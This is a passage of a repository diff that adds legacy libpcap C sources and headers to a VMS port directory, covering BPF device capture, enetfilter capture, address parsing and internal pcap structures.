{ "decdns", ETHERTYPE_DECDNS },
{ (char *)0, 0 }
};
int
pcap_nametoeproto(const char *s)
{
struct eproto *p = eproto_db;
while (p->s != 0) {
if (strcmp(p->s, s) == 0)
return p->p;
p += 1;
}
return PROTO_UNDEF;
}
/* Hex digit to integer. */
static inline int
xdtoi(c)
register int c;
{
if (isdigit(c))
return c - '0';
else if (islower(c))
return c - 'a' + 10;
else
return c - 'A' + 10;
}
int
__pcap_atoin(const char *s, bpf_u_int32 *addr)
{
u_int n;
int len;
*addr = 0;
len = 0;
while (1) {
n = 0;
while (*s && *s != '.')
n = n * 10 + *s++ - '0';
*addr <<= 8;
*addr |= n & 0xff;
len += 8;
if (*s == '\0')
return len;
++s;
}
/* NOTREACHED */
}
int
__pcap_atodn(const char *s, bpf_u_int32 *addr)
{
#define AREASHIFT 10
#define AREAMASK 0176000
#define NODEMASK 01777
u_int node, area;
if (sscanf((char *)s, "%d.%d", &area, &node) != 2)
bpf_error("malformed decnet address '%s'", s);
*addr = (area << AREASHIFT) & AREAMASK;
*addr |= (node & NODEMASK);
return(32);
}
/*
* Convert 's' which has the form "xx:xx:xx:xx:xx:xx" into a new
* ethernet address. Assumes 's' is well formed.
*/
u_char *
pcap_ether_aton(const char *s)
{
register u_char *ep, *e;
register u_int d;
e = ep = (u_char *)malloc(6);
while (*s) {
if (*s == ':')
s += 1;
d = xdtoi(*s++);
if (isxdigit((unsigned char)*s)) {
d <<= 4;
d |= xdtoi(*s++);
}
*ep++ = d;
}
return (e);
}
#ifndef HAVE_ETHER_HOSTTON
/* Roll our own */
u_char *
pcap_ether_hostton(const char *name)
{
register struct pcap_etherent *ep;
register u_char *ap;
static FILE *fp = NULL;
static int init = 0;
if (!init) {
fp = fopen(PCAP_ETHERS_FILE, "r");
++init;
if (fp == NULL)
return (NULL);
} else if (fp == NULL)
return (NULL);
else
rewind(fp);
while ((ep = pcap_next_etherent(fp)) != NULL) {
if (strcmp(ep->name, name) == 0) {
ap = (u_char *)malloc(6);
if (ap != NULL) {
memcpy(ap, ep->addr, 6);
return (ap);
}
break;
}
}
return (NULL);
}
#else
/*
* XXX - perhaps this should, instead, be declared in "lbl/os-XXX.h" files,
* for those OS versions that don't declare it, rather than being declared
* here? That way, for example, we could declare it on FreeBSD 2.x (which
* doesn't declare it), but not on FreeBSD 3.x (which declares it like
* this) or FreeBSD 4.x (which declares it with its first argument as
* "const char *", so no matter how we declare it here, it'll fail to
* compile on one of 3.x or 4.x).
*/
#if !defined(sgi) && !defined(__NetBSD__) && !defined(__FreeBSD__)
extern int ether_hostton(char *, struct ether_addr *);
#endif
/* Use the os supplied routines */
u_char *
pcap_ether_hostton(const char *name)
{
register u_char *ap;
u_char a[6];
ap = NULL;
if (ether_hostton((char *)name, (struct ether_addr *)a) == 0) {
ap = (u_char *)malloc(6);
if (ap != NULL)
memcpy((char *)ap, (char *)a, 6);
}
return (ap);
}
#endif
u_short
__pcap_nametodnaddr(const char *name)
{
#ifdef DECNETLIB
struct nodeent *getnodebyname();
struct nodeent *nep;
unsigned short res;
nep = getnodebyname(name);
if (nep == ((struct nodeent *)0))
bpf_error("unknown decnet host name '%s'\n", name);
memcpy((char *)&res, (char *)nep->n_addr, sizeof(unsigned short));
return(res);
#else
bpf_error("decnet name support not included, '%s' cannot be translated\n",
name);
return(0);
#endif
}

43
Pcap-VMS/pcap-vci/nlpid.h Normal file
View File

@@ -0,0 +1,43 @@
/*
* Copyright (c) 1996
* Juniper Networks, Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution. The name of Juniper Networks may not
* be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* @(#) $Header: /tcpdump/master/libpcap/nlpid.h,v 1.1 2000/10/28 09:30:22 guy Exp $ (Juniper)
*/
/* Types missing from some systems */
/*
* Network layer prototocol identifiers
*/
#ifndef ISO8473_CLNP
#define ISO8473_CLNP 0x81
#endif
#ifndef ISO9542_ESIS
#define ISO9542_ESIS 0x82
#endif
#ifndef ISO9542X25_ESIS
#define ISO9542X25_ESIS 0x8a
#endif
#ifndef ISO10589_ISIS
#define ISO10589_ISIS 0x83
#endif
#ifndef ISO8878A_CONS
#define ISO8878A_CONS 0x84
#endif
#ifndef ISO10747_IDRP
#define ISO10747_IDRP 0x85
#endif

1683
Pcap-VMS/pcap-vci/nmadef.h Normal file

File diff suppressed because it is too large Load Diff

2156
Pcap-VMS/pcap-vci/optimize.c Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,479 @@
/*
* Copyright (c) 1993, 1994, 1995, 1996, 1998
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/pcap-bpf.c,v 1.53 2002/10/08 07:18:08 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/param.h> /* optionally get BSD define */
#include <sys/time.h>
#include <sys/timeb.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <net/if.h>
#ifdef _AIX
#include <net/if_types.h> /* for IFT_ values */
#endif
#include <ctype.h>
#include <errno.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "pcap-int.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#include "gencode.h"
int
pcap_stats(pcap_t *p, struct pcap_stat *ps)
{
struct bpf_stat s;
/*
* "ps_recv" counts packets handed to the filter, not packets
* that passed the filter. This includes packets later dropped
* because we ran out of buffer space.
*
* "ps_drop" counts packets dropped inside the BPF device
* because we ran out of buffer space. It doesn't count
* packets dropped by the interface driver. It counts
* only packets that passed the filter.
*
* Both statistics include packets not yet read from the kernel
* by libpcap, and thus not yet seen by the application.
*/
if (ioctl(p->fd, BIOCGSTATS, (caddr_t)&s) < 0) {
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "BIOCGSTATS: %s",
pcap_strerror(errno));
return (-1);
}
ps->ps_recv = s.bs_recv;
ps->ps_drop = s.bs_drop;
return (0);
}
int
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
{
int cc;
int n = 0;
register u_char *bp, *ep;
again:
cc = p->cc;
if (p->cc == 0) {
cc = read(p->fd, (char *)p->buffer, p->bufsize);
if (cc < 0) {
/* Don't choke when we get ptraced */
switch (errno) {
case EINTR:
goto again;
#ifdef _AIX
case EFAULT:
/*
* Sigh. More AIX wonderfulness.
*
* It appears, according to Don
* Ebright, that a read from a BPF
* device returns -1 with "errno"
* set to EFAULT as an indication
* that packets have been dropped
* since the last successful read.
*
* This means that we shouldn't treat
* EFAULT as a fatal error; as we
* don't have an API for returning
* a "some packets were dropped since
* the last packet you saw" indication,
* we just ignore EFAULT and keep reading.
*/
goto again;
#endif
case EWOULDBLOCK:
return (0);
#if defined(sun) && !defined(BSD)
/*
* Due to a SunOS bug, after 2^31 bytes, the kernel
* file offset overflows and read fails with EINVAL.
* The lseek() to 0 will fix things.
*/
case EINVAL:
if (lseek(p->fd, 0L, SEEK_CUR) +
p->bufsize < 0) {
(void)lseek(p->fd, 0L, SEEK_SET);
goto again;
}
/* fall through */
#endif
}
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "read: %s",
pcap_strerror(errno));
return (-1);
}
bp = p->buffer;
} else
bp = p->bp;
/*
* Loop through each packet.
*/
#define bhp ((struct bpf_hdr *)bp)
ep = bp + cc;
while (bp < ep) {
register int caplen, hdrlen;
caplen = bhp->bh_caplen;
hdrlen = bhp->bh_hdrlen;
/*
* XXX A bpf_hdr matches a pcap_pkthdr.
*/
#ifdef _AIX
/*
* AIX's BPF returns seconds/nanoseconds time stamps, not
* seconds/microseconds time stamps.
*
* XXX - I'm guessing here that it's a "struct timestamp";
* if not, this code won't compile, but, if not, you
* want to send us a bug report and fall back on using
* DLPI. It's not as if BPF used to work right on
* AIX before this change; this change attempts to fix
* the fact that it didn't....
*/
bhp->bh_tstamp.tv_usec = bhp->bh_tstamp.tv_usec/1000;
#endif
(*callback)(user, (struct pcap_pkthdr*)bp, bp + hdrlen);
bp += BPF_WORDALIGN(caplen + hdrlen);
if (++n >= cnt && cnt > 0) {
p->bp = bp;
p->cc = ep - bp;
return (n);
}
}
#undef bhp
p->cc = 0;
return (n);
}
static inline int
bpf_open(pcap_t *p, char *errbuf)
{
int fd;
int n = 0;
char device[sizeof "/dev/bpf0000000000"];
/*
* Go through all the minors and find one that isn't in use.
*/
do {
(void)snprintf(device, sizeof(device), "/dev/bpf%d", n++);
fd = open(device, O_RDONLY);
} while (fd < 0 && errno == EBUSY);
/*
* XXX better message for all minors used
*/
if (fd < 0)
snprintf(errbuf, PCAP_ERRBUF_SIZE, "(no devices found) %s: %s",
device, pcap_strerror(errno));
return (fd);
}
/*
* XXX - on AIX, IBM's tcpdump (and perhaps the incompatible-with-everybody-
* else's libpcap in AIX 5.1) appears to forcibly load the BPF driver
* if it's not already loaded, and to create the BPF devices if they
* don't exist.
*
* It'd be nice if we could do the same, although the code to do so
* might be version-dependent, alas (the way to do it isn't necessarily
* documented).
*/
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
{
int fd;
struct ifreq ifr;
struct bpf_version bv;
u_int v;
pcap_t *p;
p = (pcap_t *)malloc(sizeof(*p));
if (p == NULL) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "malloc: %s",
pcap_strerror(errno));
return (NULL);
}
memset(p, 0, sizeof(*p));
fd = bpf_open(p, ebuf);
if (fd < 0)
goto bad;
p->fd = fd;
p->snapshot = snaplen;
if (ioctl(fd, BIOCVERSION, (caddr_t)&bv) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCVERSION: %s",
pcap_strerror(errno));
goto bad;
}
if (bv.bv_major != BPF_MAJOR_VERSION ||
bv.bv_minor < BPF_MINOR_VERSION) {
snprintf(ebuf, PCAP_ERRBUF_SIZE,
"kernel bpf filter out of date");
goto bad;
}
/*
* Try finding a good size for the buffer; 32768 may be too
* big, so keep cutting it in half until we find a size
* that works, or run out of sizes to try.
*
* XXX - there should be a user-accessible hook to set the
* initial buffer size.
*/
for (v = 32768; v != 0; v >>= 1) {
/* Ignore the return value - this is because the call fails
* on BPF systems that don't have kernel malloc. And if
* the call fails, it's no big deal, we just continue to
* use the standard buffer size.
*/
(void) ioctl(fd, BIOCSBLEN, (caddr_t)&v);
(void)strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
if (ioctl(fd, BIOCSETIF, (caddr_t)&ifr) >= 0)
break; /* that size worked; we're done */
if (errno != ENOBUFS) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCSETIF: %s: %s",
device, pcap_strerror(errno));
goto bad;
}
}
if (v == 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE,
"BIOCSBLEN: %s: No buffer size worked", device);
goto bad;
}
/* Get the data link layer type. */
if (ioctl(fd, BIOCGDLT, (caddr_t)&v) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCGDLT: %s",
pcap_strerror(errno));
goto bad;
}
#ifdef _AIX
/*
* AIX's BPF returns IFF_ types, not DLT_ types, in BIOCGDLT.
*/
switch (v) {
case IFT_ETHER:
case IFT_ISO88023:
v = DLT_EN10MB;
break;
case IFT_FDDI:
v = DLT_FDDI;
break;
case IFT_ISO88025:
v = DLT_IEEE802;
break;
default:
/*
* We don't know what to map this to yet.
*/
snprintf(ebuf, PCAP_ERRBUF_SIZE, "unknown interface type %u",
v);
goto bad;
}
#endif
#if _BSDI_VERSION - 0 >= 199510
/* The SLIP and PPP link layer header changed in BSD/OS 2.1 */
switch (v) {
case DLT_SLIP:
v = DLT_SLIP_BSDOS;
break;
case DLT_PPP:
v = DLT_PPP_BSDOS;
break;
case 11: /*DLT_FR*/
v = DLT_FRELAY;
break;
case 12: /*DLT_C_HDLC*/
v = DLT_CHDLC;
break;
}
#endif
p->linktype = v;
/* set timeout */
if (to_ms != 0) {
/*
* XXX - is this seconds/nanoseconds in AIX?
* (Treating it as such doesn't fix the timeout
* problem described below.)
*/
struct timeval to;
to.tv_sec = to_ms / 1000;
to.tv_usec = (to_ms * 1000) % 1000000;
if (ioctl(p->fd, BIOCSRTIMEOUT, (caddr_t)&to) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCSRTIMEOUT: %s",
pcap_strerror(errno));
goto bad;
}
}
#ifdef _AIX
#ifdef BIOCIMMEDIATE
/*
* Darren Reed notes that
*
* On AIX (4.2 at least), if BIOCIMMEDIATE is not set, the
* timeout appears to be ignored and it waits until the buffer
* is filled before returning. The result of not having it
* set is almost worse than useless if your BPF filter
* is reducing things to only a few packets (i.e. one every
* second or so).
*
* so we turn BIOCIMMEDIATE mode on if this is AIX.
*
* We don't turn it on for other platforms, as that means we
* get woken up for every packet, which may not be what we want;
* in the Winter 1993 USENIX paper on BPF, they say:
*
* Since a process might want to look at every packet on a
* network and the time between packets can be only a few
* microseconds, it is not possible to do a read system call
* per packet and BPF must collect the data from several
* packets and return it as a unit when the monitoring
* application does a read.
*
* which I infer is the reason for the timeout - it means we
* wait that amount of time, in the hopes that more packets
* will arrive and we'll get them all with one read.
*
* Setting BIOCIMMEDIATE mode on FreeBSD (and probably other
* BSDs) causes the timeout to be ignored.
*
* On the other hand, some platforms (e.g., Linux) don't support
* timeouts, they just hand stuff to you as soon as it arrives;
* if that doesn't cause a problem on those platforms, it may
* be OK to have BIOCIMMEDIATE mode on BSD as well.
*
* (Note, though, that applications may depend on the read
* completing, even if no packets have arrived, when the timeout
* expires, e.g. GUI applications that have to check for input
* while waiting for packets to arrive; a non-zero timeout
* prevents "select()" from working right on FreeBSD and
* possibly other BSDs, as the timer doesn't start until a
* "read()" is done, so the timer isn't in effect if the
* application is blocked on a "select()", and the "select()"
* doesn't get woken up for a BPF device until the buffer
* fills up.)
*/
v = 1;
if (ioctl(p->fd, BIOCIMMEDIATE, &v) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCIMMEDIATE: %s",
pcap_strerror(errno));
goto bad;
}
#endif /* BIOCIMMEDIATE */
#endif /* _AIX */
if (promisc) {
/* set promiscuous mode, okay if it fails */
if (ioctl(p->fd, BIOCPROMISC, NULL) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCPROMISC: %s",
pcap_strerror(errno));
}
}
if (ioctl(fd, BIOCGBLEN, (caddr_t)&v) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCGBLEN: %s",
pcap_strerror(errno));
goto bad;
}
p->bufsize = v;
p->buffer = (u_char *)malloc(p->bufsize);
if (p->buffer == NULL) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "malloc: %s",
pcap_strerror(errno));
goto bad;
}
return (p);
bad:
(void)close(fd);
free(p);
return (NULL);
}
int
pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf)
{
return (0);
}
int
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
{
/*
* It looks that BPF code generated by gen_protochain() is not
* compatible with some of kernel BPF code (for example BSD/OS 3.1).
* Take a safer side for now.
*/
if (no_optimize) {
if (install_bpf_program(p, fp) < 0)
return (-1);
} else if (p->sf.rfile != NULL) {
if (install_bpf_program(p, fp) < 0)
return (-1);
} else if (ioctl(p->fd, BIOCSETF, (caddr_t)fp) < 0) {
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "BIOCSETF: %s",
pcap_strerror(errno));
return (-1);
}
return (0);
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,235 @@
/*
* Stanford Enetfilter subroutines for tcpdump
*
* Based on the MERIT NNstat etherifrt.c and the Ultrix pcap-pf.c
* subroutines.
*
* Rayan Zachariassen, CA*Net
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/pcap-enet.c,v 1.6 2002/06/11 17:04:46 itojun Exp $";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/types.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/bpf.h>
#include <net/enet.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <stdio.h>
#include <errno.h>
#include "interface.h"
struct packet_header {
#ifdef IBMRTPC
struct LengthWords length;
struct tap_header tap;
#endif /* IBMRTPC */
u_char packet[8]
};
extern int errno;
#define BUFSPACE (4*1024)
/* Forwards */
static void efReadError(int, char *);
void
readloop(int cnt, int if_fd, struct bpf_program *fp, printfunc printit)
{
#ifdef IBMRTPC
register struct packet_header *ph;
register u_char *bp;
register int inc;
#else /* !IBMRTPC */
static struct timeval tv = { 0 };
#endif /* IBMRTPC */
register int cc, caplen;
register struct bpf_insn *fcode = fp->bf_insns;
union {
struct packet_header hdr;
u_char p[BUFSPACE];
u_short s;
} buf;
while (1) {
if ((cc = read(if_fd, (char *)buf.p, sizeof(buf))) < 0)
efReadError(if_fd, "reader");
#ifdef IBMRTPC
/*
* Loop through each packet.
*/
bp = buf.p;
while (cc > 0) {
ph = (struct packet_header *)bp;
caplen = ph->tap.th_wirelen > snaplen ? snaplen : ph->tap
.th_wirelen ;
if (bpf_filter(fcode, (char *)ph->packet,
ph->tap.th_wirelen, caplen)) {
if (cnt >= 0 && --cnt < 0)
goto out;
(*printit)((char *)ph->packet,
(struct timeval *)ph->tap.th_timestamp,
ph->tap.th_wirelen, caplen);
}
inc = ph->length.PacketOffset;
cc -= inc;
bp += inc;
}
#else /* !IBMRTPC */
caplen = cc > snaplen ? snaplen : cc ;
if (bpf_filter(fcode, buf.hdr.packet, cc, caplen)) {
if (cnt >= 0 && --cnt < 0)
goto out;
(*printit)(buf.hdr.packet, &tv, cc, caplen);
}
#endif /* IBMRTPC */
}
out:
wrapup(if_fd);
}
/* Call ONLY if read() has returned an error on packet filter */
static void
efReadError(int fid, char *msg)
{
if (errno == EINVAL) { /* read MAXINT bytes already! */
if (lseek(fid, 0, 0) < 0) {
perror("tcpdump: efReadError/lseek");
exit(-1);
}
else
return;
}
else {
(void) fprintf(stderr, "tcpdump: ");
perror(msg);
exit(-1);
}
}
void
wrapup(int fd)
{
#ifdef IBMRTPC
struct enstats es;
if (ioctl(fd, EIOSTATS, &es) == -1) {
perror("tcpdump: enet ioctl EIOSTATS error");
exit(-1);
}
fprintf(stderr, "%d packets queued", es.enStat_Rcnt);
if (es.enStat_Rdrops > 0)
fprintf(stderr, ", %d dropped", es.enStat_Rdrops);
if (es.enStat_Reads > 0)
fprintf(stderr, ", %d tcpdump %s", es.enStat_Reads,
es.enStat_Reads > 1 ? "reads" : "read");
if (es.enStat_MaxRead > 1)
fprintf(stderr, ", %d packets in largest read",
es.enStat_MaxRead);
putc('\n', stderr);
#endif /* IBMRTPC */
close(fd);
}
int
initdevice(char *device, int pflag, int *linktype)
{
struct eniocb ctl;
struct enfilter filter;
u_int maxwaiting;
int if_fd;
#ifdef IBMRTPC
GETENETDEVICE(0, O_RDONLY, &if_fd);
#else /* !IBMRTPC */
if_fd = open("/dev/enet", O_RDONLY, 0);
#endif /* IBMRTPC */
if (if_fd == -1) {
perror("tcpdump: enet open error");
error(
"your system may not be properly configured; see \"man enet(4)\"");
exit(-1);
}
/* Get operating parameters. */
if (ioctl(if_fd, EIOCGETP, (char *)&ctl) == -1) {
perror("tcpdump: enet ioctl EIOCGETP error");
exit(-1);
}
/* Set operating parameters. */
#ifdef IBMRTPC
ctl.en_rtout = 1 * ctl.en_hz;
ctl.en_tr_etherhead = 1;
ctl.en_tap_network = 1;
ctl.en_multi_packet = 1;
ctl.en_maxlen = BUFSPACE;
#else /* !IBMRTPC */
ctl.en_rtout = 64; /* randomly picked value for HZ */
#endif /* IBMRTPC */
if (ioctl(if_fd, EIOCSETP, &ctl) == -1) {
perror("tcpdump: enet ioctl EIOCSETP error");
exit(-1);
}
/* Flush the receive queue, since we've changed
the operating parameters and we otherwise might
receive data without headers. */
if (ioctl(if_fd, EIOCFLUSH) == -1) {
perror("tcpdump: enet ioctl EIOCFLUSH error");
exit(-1);
}
/* Set the receive queue depth to its maximum. */
maxwaiting = ctl.en_maxwaiting;
if (ioctl(if_fd, EIOCSETW, &maxwaiting) == -1) {
perror("tcpdump: enet ioctl EIOCSETW error");
exit(-1);
}
#ifdef IBMRTPC
/* Clear statistics. */
if (ioctl(if_fd, EIOCLRSTAT, 0) == -1) {
perror("tcpdump: enet ioctl EIOCLRSTAT error");
exit(-1);
}
#endif /* IBMRTPC */
/* Set the filter (accept all packets). */
filter.enf_Priority = 3;
filter.enf_FilterLen = 0;
if (ioctl(if_fd, EIOCSETF, &filter) == -1) {
perror("tcpdump: enet ioctl EIOCSETF error");
exit(-1);
}
/*
* "enetfilter" supports only ethernets.
*/
*linktype = DLT_EN10MB;
return(if_fd);
}

View File

@@ -0,0 +1,265 @@
/*
* Copyright (c) 1994, 1995, 1996
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the Computer Systems
* Engineering Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#) $Header: /tcpdump/master/libpcap/pcap-int.h,v 1.40 2002/08/20 15:33:31 risso Exp $ (LBL)
*/
#ifndef pcap_int_h
#define pcap_int_h
#ifdef __cplusplus
extern "C" {
#endif
#include <pcap.h>
#ifdef VMS
#include <pcap-vms.h>
#endif /* VMS */
#ifdef WIN32
#include <packet32.h>
#endif /* WIN32 */
/*
* Savefile
*/
struct pcap_sf {
FILE *rfile;
int swapped;
int hdrsize;
int version_major;
int version_minor;
u_char *base;
};
struct pcap_md {
struct pcap_stat stat;
/*XXX*/
int use_bpf; /* using kernel filter */
u_long TotPkts; /* can't oflow for 79 hrs on ether */
u_long TotAccepted; /* count accepted by filter */
u_long TotDrops; /* count of dropped packets */
long TotMissed; /* missed by i/f during this run */
long OrigMissed; /* missed by i/f before this run */
#ifdef linux
int sock_packet; /* using Linux 2.0 compatible interface */
int timeout; /* timeout specified to pcap_open_live */
int clear_promisc; /* must clear promiscuous mode when we close */
int cooked; /* using SOCK_DGRAM rather than SOCK_RAW */
int lo_ifindex; /* interface index of the loopback device */
char *device; /* device name */
struct pcap *next; /* list of open promiscuous sock_packet pcaps */
#endif
};
struct pcap {
#ifdef VMS
char *lan_ctl;
int timeout;
packet lan_pkt;
int check_timeout;
int timedout;
VCMCTX *vcmctx;
#endif // VMS
#ifdef WIN32
ADAPTER *adapter;
LPPACKET Packet;
int timeout;
int nonblock;
#else
int fd;
#endif /* WIN32 */
int snapshot;
int linktype;
int tzoff; /* timezone offset */
int offset; /* offset for proper alignment */
struct pcap_sf sf;
struct pcap_md md;
/*
* Read buffer.
*/
int bufsize;
u_char *buffer;
u_char *bp;
int cc;
/*
* Place holder for pcap_next().
*/
u_char *pkt;
/*
* Placeholder for filter code if bpf not in kernel.
*/
struct bpf_program fcode;
char errbuf[PCAP_ERRBUF_SIZE + 1];
};
/*
* This is a timeval as stored in disk in a dumpfile.
* It has to use the same types everywhere, independent of the actual
* `struct timeval'
*/
struct pcap_timeval {
bpf_int32 tv_sec; /* seconds */
bpf_int32 tv_usec; /* microseconds */
};
/*
* How a `pcap_pkthdr' is actually stored in the dumpfile.
*
* Do not change the format of this structure, in any way (this includes
* changes that only affect the length of fields in this structure),
* and do not make the time stamp anything other than seconds and
* microseconds (e.g., seconds and nanoseconds). Instead:
*
* introduce a new structure for the new format;
*
* send mail to "tcpdump-workers@tcpdump.org", requesting a new
* magic number for your new capture file format, and, when
* you get the new magic number, put it in "savefile.c";
*
* use that magic number for save files with the changed record
* header;
*
* make the code in "savefile.c" capable of reading files with
* the old record header as well as files with the new record header
* (using the magic number to determine the header format).
*
* Then supply the changes to "patches@tcpdump.org", so that future
* versions of libpcap and programs that use it (such as tcpdump) will
* be able to read your new capture file format.
*/
struct pcap_sf_pkthdr {
struct pcap_timeval ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet (off wire) */
};
/*
* How a `pcap_pkthdr' is actually stored in dumpfiles written
* by some patched versions of libpcap (e.g. the ones in Red
* Hat Linux 6.1 and 6.2).
*
* Do not change the format of this structure, in any way (this includes
* changes that only affect the length of fields in this structure).
* Instead, introduce a new structure, as per the above.
*/
struct pcap_sf_patched_pkthdr {
struct pcap_timeval ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet (off wire) */
int index;
unsigned short protocol;
unsigned char pkt_type;
};
int yylex(void);
#ifndef min
#define min(a, b) ((a) > (b) ? (b) : (a))
#endif
/* XXX should these be in pcap.h? */
int pcap_offline_read(pcap_t *, int, pcap_handler, u_char *);
int pcap_read(pcap_t *, int cnt, pcap_handler, u_char *);
#ifdef WIN32
/* sf_next_packet must be exported for pcap_read_ex */
int sf_next_packet(pcap_t *, struct pcap_pkthdr *, u_char *, int);
#endif
/*
* Ultrix, DEC OSF/1^H^H^H^H^H^H^H^H^HDigital UNIX^H^H^H^H^H^H^H^H^H^H^H^H
* Tru64 UNIX, and NetBSD pad to make everything line up on a nice boundary.
*/
#if defined(ultrix) || defined(__osf__) || defined(__NetBSD__)
#define PCAP_FDDIPAD 3
#endif
#ifndef HAVE_STRLCPY
#define strlcpy(x, y, z) \
(strncpy((x), (y), (z)), \
((z) <= 0 ? 0 : ((x)[(z) - 1] = '\0')), \
strlen((y)))
#endif
/*
* Internal interfaces for "pcap_findalldevs()".
*
* "pcap_platform_finddevs()" is a platform-dependent routine to
* add devices not found by the "standard" mechanisms (SIOCGIFCONF,
* "getifaddrs()", etc..
*
* "pcap_add_if()" adds an interface to the list of interfaces.
*/
int pcap_platform_finddevs(pcap_if_t **, char *);
int add_addr_to_iflist(pcap_if_t **, char *, u_int, struct sockaddr *,
size_t, struct sockaddr *, size_t, struct sockaddr *, size_t,
struct sockaddr *, size_t, char *);
int pcap_add_if(pcap_if_t **, char *, u_int, const char *, char *);
struct sockaddr *dup_sockaddr(struct sockaddr *, size_t);
int add_or_find_if(pcap_if_t **, pcap_if_t **, char *, u_int,
const char *, char *);
#ifdef linux
void pcap_close_linux(pcap_t *);
#endif
#ifdef VMS
void pcap_close_vms(pcap_t *);
#endif
#ifdef WIN32
char *pcap_win32strerror(void);
#endif
/* XXX */
extern int pcap_fddipad;
int install_bpf_program(pcap_t *, struct bpf_program *);
#ifdef __cplusplus
}
#endif
#endif

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,87 @@
/*
* Copyright (c) 1994, 1996
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the Computer Systems
